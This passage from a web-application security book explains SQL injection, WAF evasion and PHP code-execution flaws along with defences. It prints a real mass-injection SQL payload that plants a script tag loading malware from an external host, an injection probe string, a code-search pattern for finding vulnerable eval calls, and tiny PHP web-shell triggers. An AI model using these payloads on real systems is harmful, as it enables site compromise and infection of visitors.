SQL
The topic of SQL injections is vast, and there is a lot more to learn about it than what we have the space to cover here. For more information on SQL injection, see Justin Clarke's book,
SQL Injection Attacks and Defense (ISBN: 978-1-59749-424-3, Syngress), as well as any of the numerous online tutorials that teach how to secure Web applications against SQL injections, perform SQL injections, avoid filter mechanisms, and defeat the signatures of Web application firewalls (WAFs). In addition, several good SQL injection cheat sheets are available, some of which we covered in
Chapter 7. Also, a variety of tools are available to attackers and penetration testers for testing Web applications against SQL injections. These include the free and open source sqlmap (
http://sqlmap.sourceforge.net/) and sqlninja (
http://sqlninja.sourceforge.net/), and the commercial tool Pangolin (
www.nosec.org/), which some say is the best and most aggressive tool on the market. Rumor has it that the free test version of Pangolin is
backdoored; this was discussed on the Full Disclosure mailing list in early 2010 (
http://seclists.org/fulldisclosure/2008/Mar/510).
SQL injections are a very common and persistent problem, with sometimes dire consequences. Depending on the attacked system and the underlying database management system (DBMS), the consequences can range from heavy information disclosure to denial of service and even remote code execution on the attacked box.
Also, if the SQL injection vulnerability occurred in a popular third-party software product, attackers could easily turn it into a mass SQL injection attack by simply using Google to locate other Web sites that use the affected software and shooting malicious queries at all of them.
Once a SQL injection vulnerability has been spotted on a specific Web site, the attacker can take a lot of time probing and disclosing important information about the DBMS, the currently installed version, and most importantly, the set of privileges the database is running with to determine what to do next and how to accomplish her goals. If the attacked system is protected with a WAF that, for example, will not allow easy probing attempts such as the common string
‘OR1=1 –, or similar vectors, the attacker does not have to give up, because now the real fun begins. The fact that SQL is extremely flexible in its syntax due to its comparably simple nature leads to the possibility of obfuscating the attack vector to the max. We saw many examples of how to do this in
Chapter 7. A good indication that a WAF is present is if an attacker submits the aforementioned string and the server responds with a result such as the 406 status code, “Not Acceptable.”
A tool called
wafw00f is available that helps to fingerprint WAFs in case an attacker suspects a WAF is present. The tool fires several easy-to-detect vectors against the targeted Web application and inspects the resultant response, both the header and the body. If the response matches several stored patterns, the tool tries to calculate the probability that a WAF is being used. Most of the time the results are pretty precise. You can find the tool at
http://code.google.com/p/waffit/.
The attacker would then vary the attack vector a bit; for example, she may try using MySQL-specific code or other obfuscation methods such as nested conditions or internal functions to generate the necessary strings and values. Since SQL is flexible, there will always be a way to get around the string analysis and filtering methods of the installed WAF or filter solution. Use of the term
always in the preceding sentence might raise a few eyebrows, but so far none of the products we, the authors, tested while writing this book were able to catch all SQL injection attempts. At some point, all WAFs failed; even the heavily maintained PHPIDS is not remotely capable of catching all SQL injection attempts and has been regularly fooled by researchers such as Roberto Salgado and Johannes Dahse (
http://sla.ckers.org/forum/read.php?12,30425,page=29).
So, the only way the developer of a Web application can protect the application against SQL injections is by not making any mistakes and not creating any vulnerabilities. Fortunately, there are some techniques a developer can use to make this task a bit easier. One of them is to use parameter binding, and thereby avoid concatenating strings while building the query. Concatenation-based bugs are the most common SQL injection vulnerabilities out there at the time of this writing, but few incidents have been reported in which applications were affected that used proper binding methods. PHP and many other languages provide libraries that enable easy use of parameter binding for building SQL queries, and it is not hard to test and implement. If you cannot get around concatenation, you should use proper filtering and escaping methods. PHP's mysql_escape_string() and mysql_real_escape_string() do a good job and work quite reliably.
Another way to go is with stored procedures and functions, whereby the developer can outsource a lot of application logic directly to the DBMS. The MySQL documentation calls them stored routines and provides good information on them in the reference docs (see
http://dev.mysql.com/doc/refman/5.1/en/stored-routines.html).
With this technique, the user-submitted data can be wrapped in variables and later used in the final query. If this is done correctly, it provides good protection against SQL injections since the attacker cannot leave the context of the mapped variable, and thus cannot break out the query's structure and add new code. Simple and blind use of stored functions is no guarantee of a system that is safe from SQL injections, though, as illustrated in an incident that occurred in early 2008. One of the affected stored procedures looked like this:
DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype=‘u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec(‘update [‘+@T+’] set [‘+@C+’]=rtrim(convert(varchar'[‘+@C+’]))+‘’<script src=http://nihaorr1.com/1.js></script>‘’')FETCH NEXT FROM Table_Cursor INTO @T’@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
The attackers used the fact that the stored Microsoft SQL procedure used internal concatenation, and thus managed to break the code and inject their own data. The injected code was reflected on the affected Web sites and displayed a script tag loading data from a malicious URL attempting to infect the visiting users with malware—the antiquarian Microsoft Data Access Components (MDAC) exploit which, at the time of this writing, is still being sold as part of common underground exploit kits. Good write-ups on this incident are available at the following URLs:
Another interesting way to protect Web applications from SQL injection attacks is to use a SQL proxy solution such as GreenSQL (
www.greensql.net/). Tools such as this free open source product create a new layer between the application and the DBMS. If the application messes up the filtering job and directs potentially malicious and unsolicited SQL to the DBMS, the SQL proxy becomes the last line of defense and checks the incoming data, matches it against existing profiles and filter rules, and acts as a bridge keeper. As soon as the proxy tool judges the input to be harmless and valid it will pass it; otherwise, an error will be thrown and the DBMS will remain unaffected. The problem with solutions such as this is that, like WAFs, they are easy for attackers to fingerprint, and if an unpublished vulnerability or bypass exists, the protection mechanisms are rendered completely useless. Also, the tool itself may contain a vulnerability that leads to a bypass of the protection, or even worse. Several WAFs have fallen victim to attacks against their own backend system in the past.
So, as you can see, protecting Web applications from SQL injections with external tools might work in some cases, but definitely not in all. It is easy to advise developers to make no mistakes and bind properly, use no concatenations, and do everything right, but it is difficult for developers to actually do these things. And if third-party software is used, the Web application's security level basically relies on the expertise of the developers of the third-party software, or on thorough audits which can take weeks to months to complete in some scenarios. Furthermore, sometimes the DBMS and the runtimes are third-party solutions which can contain bugs too. So, even if the Web application and everything around it is set up properly, its security depends on factors such as the DBMS security, operating system security, and many other factors.
PHP
Creating a code execution vulnerability in PHP is not the most difficult task for an inexperienced developer to perform. And from the perspective of the attacker, PHP vulnerabilities are very attractive, since executing PHP code basically means owning the box on which it is running. If that is not the case due to a thoroughly hardened server, at least the application, perhaps neighboring applications on the same server, and the database can be overtaken and controlled by spamming or abusing the conquered machine's mailer, thereby causing heavy information disclosure and severe privacy leaks for the user of the victimized application. PHP code execution vulnerabilities are pretty easy to find; usually they incorporate several native functions in combination with unsanitized user input.
Tools such as the Google Code Search Engine facilitate the process of finding code execution vulnerabilities. An attacker just creates a search term that matches common vulnerability patterns and sees which open source third-party software is being affected. Then he simply uses the regular Google search engine to search for domains hosting the files based on the results of the first code search. At this point, the exploitation can begin, and on a large scale.
Code search engines are more dangerous than they might appear, since searching for code in general via regular expression-based patterns means searching for vulnerabilities too. To see how easy this is, and how many results are reflected in even the easiest and most basic search patterns, try the following query on the Google Code Search Engine (
www.google.com/codesearch). At the time of this writing, the query reflected 455 results, a large percentage of which are useful to attackers:
lang:php eval\s*\(.*\$_(GET|POST|COOKIE|REQUEST)
It may sound too easy to be true, but this really is what happens. Most of the attacks coming in via the php-ids.org Web site attack logs indicate that the attacker's goal was code execution using the simplest vectors. Often, the already infected machines are being used to scan the Web for more machines to infect, all via an initial PHP code execution vulnerability. Remember, the attacker can do everything the attacked application can do, including sending e-mails, scanning the Internet, sending requests to other Web sites, and more.
The easiest way for a developer to create a code execution vulnerability is to combine include and require statements with user input. Imagine a piece of code such as include ‘templates/’.$_GET[‘template’].’.tpl’;. If the PHP runtime is not very well configured, this example can be exploited as a code execution vulnerability. In the worst-case scenario, the attacker can cut the string by using a null-byte and do a path traversal to another file located on the attacked server. If this file contains PHP code controlled by the attacker, the potential code execution vulnerability will be completely exploitable.
Infecting an arbitrary file on the attacked server with attacker-controlled PHP code is also easier than you might think. Consider, for example, uploads of PHP code in
GIF comments or just plain-text files, PDF files, or Word documents; or perhaps log files, error logs, and other application-generated files. Some attackers claim to have used the mail logs generated by a Web site's mailer, or the raw database files in some situations. Also consider the data URIs and PHP wrappers we discussed in
Chapter 6; these were also very interesting and promising ways to infect a file with attacker-controlled PHP code. The code such a file should contain can be very small; basically, just a small trigger to evaluate arbitrary strings, such as
<?eval($_GET[_]);. In just 17 characters, an attacker can execute arbitrary code, just by filling the
GET parameter
_ with, for example,
echo ‘hello’; or, more likely, something worse. If you use back ticks, it's even possible to create shorter trigger vectors if the surrounding code allows it. Code such as
<?$_GET[_](); even allows you to call arbitrary functions with 13 characters, if they do not require any parameters, and
<?$_($x); as well as
<?'$_'; do the same if the PHP setting
register_globals is switched on. (These vectors were submitted by Twitter users @fjserna, @freddyb, and @ax330d.)
What can a developer do to protect against such attacks? The answer is simple: proper validation. Proper validation is crucial for fixing and avoiding security problems and vulnerabilities. Developers should make sure that the user-generated content is being validated strictly before hitting any critical function or feature. Let us revisit the small include example we saw earlier in this section. If the developer had made sure that only alphanumeric characters could enter the concatenated string later being processed by the include statement, everything would have been all right. This is also true for native PHP functions such as escapeshellcmd which, for some reason, is blocked by many large hosting companies, and preg_quote, which does a pretty good job of making sure no bad characters can be put into a string without being escaped with a backslash.
Validation and escaping are very important, but validation is more important than escaping because input that does not pass validation no longer has to be escaped. The script will simply not let it pass, and instead will show error information or something more user-friendly. But again, we are talking about software that developers have under their control; in other words, software they, their team members, or their former coworkers wrote. As we discussed, third-party software throws a monkey wrench into the works: How can a developer know if everything in, for instance, a huge project such as phpBB or MediaWiki was done correctly? What if one of the major open source projects does not provide the features the site owner needs, and a less popular and less well-maintained solution has to be used? In these situations, it might not always be possible to conduct long and costly audits against the third-party software. Therefore, the best approach is a global filtering solution sitting right in front of the PHP code and executing scripts before the actual application does. Luckily, PHP provides such a mechanism. It is called
auto_prepend_file and it is documented at
http://php.net/manual/en/ini.core.php.
This mechanism allows developers to, for example, look at _GET, _POST, and other super-global variables before they hit the application, and perform some sanitation work for the sake of better security. One recommended action is to get rid of null-bytes; it is best to replace them with spaces or other harmless characters. Invalid Unicode characters are another group of evil chars one might want to get rid of—the whole range from\x80 to \xff if the application runs on UTF-8—because they can cause serious problems with cross-site scripting if the application uses the native PHP function utf8_decode somewhere in the guts of its business logic. Another trick is to use some predictive validation combined with auto_prepend_file. A parameter named id or containing the string _id most likely contains either a numerical value or a string with the characters a-F and 0-9, so why not auto-magically validate it that way? If the parameter does not contain the expected characters, the prepended file will exit and will show an error message. Chances are very good that most, if not all, third-party software you use will work well with such a restriction.
There are many ways you can protect your PHP applications; you can forbid certain functions, use the deprecated and many times exploited and bypassed safe_mode, and set other important options in the php.ini or vhost configuration or.htaccess files around the Web application, besides following the numerous guidelines of writing secure code. But the most important thing is still proper encoding, filtering, and most importantly, thorough validation. The more centralized and strict the validation, the better. Only allow the characters that are supposed to be used; the least-privilege policy reigns supreme in the world of PHP.
Now let us look at a completely different topic: protecting the DOM and other client-side entities, because at some point, Web applications will have to be able to deal with user-generated JavaScript, a task that is almost impossible to master.